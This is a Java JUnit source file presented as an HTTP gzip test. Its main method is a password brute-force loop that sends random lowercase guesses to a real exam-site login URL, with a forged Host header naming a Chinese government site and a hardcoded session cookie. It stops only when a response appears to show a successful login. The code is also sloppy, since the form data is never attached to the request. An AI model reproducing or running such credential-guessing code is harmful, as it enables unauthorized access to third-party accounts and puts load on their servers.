package com.luli.loginBlast;

/**
 *
 */
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Random;

import cn.hutool.http.HttpException;
import junit.framework.TestCase;

import org.apache.commons.httpclient.Header;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.methods.PostMethod;
import org.junit.Test;

/**
 * 测试客户端请求，文件压缩等功能是否有效
 * https://blog.csdn.net/iteye_1287/article/details/82565538
 * @author xiaoli
 *
 */
public class HttpGzipTest extends TestCase {


    /**
     * 简单一个破解网站单独密码，当前测试网站  POST http://www.gqxnc.gov.cn/login.asp
     *
     * @throws IOException
     * @throws HttpException
     */
    @Test
    public void testDDOSCrackPassword() throws HttpException, IOException {

        String passWord = "";

        String url = "http://exam.sq-rc.com/pla/login";

        HttpClient httpClient = new HttpClient();

        PostMethod postMethod = new PostMethod(url);
        postMethod.setRequestHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
        postMethod.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        postMethod.setRequestHeader("Referer", "http://exam.sq-rc.com/pla/login");
        postMethod.setRequestHeader("Host", "www.gqxnc.gov.cn");
        postMethod.setRequestHeader("Cookie", "ASPSESSIONIDCQCDSQAD=CJDPKHNDAHFPDBJJKPMFICBG");
        postMethod.setRequestHeader("Connection", " Keep-Alive");


        //String [] allPass = getRandomPassword(2, 7, 1000);

        do {
            String pass = getRandomPassword2();

            System.out.println(pass);
            // 填入各个表单域的值
            NameValuePair[] data = {new NameValuePair("pass", pass), new NameValuePair("Submit", "提交")};
            // 将表单的值放入postMethod中
            //postMethod.setRequestBody(data);
            // 执行postMethod
            int statusCode = httpClient.executeMethod(postMethod);

            //System.out.println(" status code:" + statusCode);
            // HttpClient对于要求接受后继服务的请求，象POST和PUT等不能自动处理转发

            if (statusCode == HttpStatus.SC_OK) {
                StringBuffer contentBuffer = new StringBuffer();
                InputStream in = postMethod.getResponseBodyAsStream();
                BufferedReader reader = new BufferedReader(new InputStreamReader(in,
                        postMethod.getResponseCharSet()));
                String inputLine = null;
                while ((inputLine = reader.readLine()) != null) {
                    contentBuffer.append(inputLine);
                    //System.out.println("input line:" + inputLine);
                    if (!inputLine.contains("login.asp?o=2")) {
                        passWord = pass;
                        System.out.println("密码匹配成功：" + passWord);
                    }
                    contentBuffer.append("/n");
                }
                in.close();

            } else if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY
                    || statusCode == HttpStatus.SC_MOVED_TEMPORARILY) {
                // 从头中取出转向的地址
                Header locationHeader = postMethod.getResponseHeader("location");
                String location = null;
                if (locationHeader != null) {
                    location = locationHeader.getValue();
                    System.out.println("The page was redirected to:" + location);
                } else {
                    System.err.println("Location field value is null.");
                }
            }

        } while (passWord.length() <= 00);

        System.out.println("没有匹配成功！！");

    }


    public String[] getRandomPassword(int type, int passLength, int count) {
        char[] chars = {'0', '1', '2', '3', '4', '5', '6', '7',
                '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
                'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
                'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
                'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
                'Z'};    //62个字符集
        //,'!','@','#','$','%','^','&','*','~','|'

        String[] passwords = new String[count];
        Random random = new Random();
        if (type == 1) {
            for (int i = 0; i < count; i++) {
                StringBuilder password = new StringBuilder("");
                for (int m = 1; m <= passLength; m++) {
                    password.append(chars[random.nextInt(10)]);
                }
                passwords[i] = password.toString();
            }
        } else if (type == 2) {
            for (int i = 0; i < count; i++) {
                StringBuilder password = new StringBuilder("");
                for (int m = 1; m <= passLength; m++) {
                    password.append(chars[random.nextInt(26) + 10]);
                }
                passwords[i] = password.toString();
            }
        } else if (type == 3) {
            for (int i = 0; i < count; i++) {
                StringBuilder password = new StringBuilder("");
                for (int m = 1; m <= passLength; m++) {

                    password.append(chars[random.nextInt(62)]);
                }
                passwords[i] = password.toString();
            }
        } else {
            System.out.println("输入错误!");
        }
        return passwords;
    }

    public String getRandomPassword2() {
//		char[] chars = { '0', '1', '2', '3', '4', '5', '6', '7',
//		     '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
//		     'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
//		     'y', 'z', 'A', 'B','C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
//		     'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
//		     'Z'};    //62个字符集

        char[] chars = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
                'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
                'y', 'z'};    //26个字符集
        //,'!','@','#','$','%','^','&','*','~','|'
        Random random1 = new Random();
        int count = random1.nextInt(6) + 4;

        String rpasswords = "";
        Random random = new Random();
        for (int i = 0; i < count; i++) {
            StringBuilder password = new StringBuilder("");
            for (int m = 1; m <= count; m++) {
                password.append(chars[random.nextInt(26)]);
            }
            rpasswords = password.toString();
        }
        return rpasswords;
    }
}
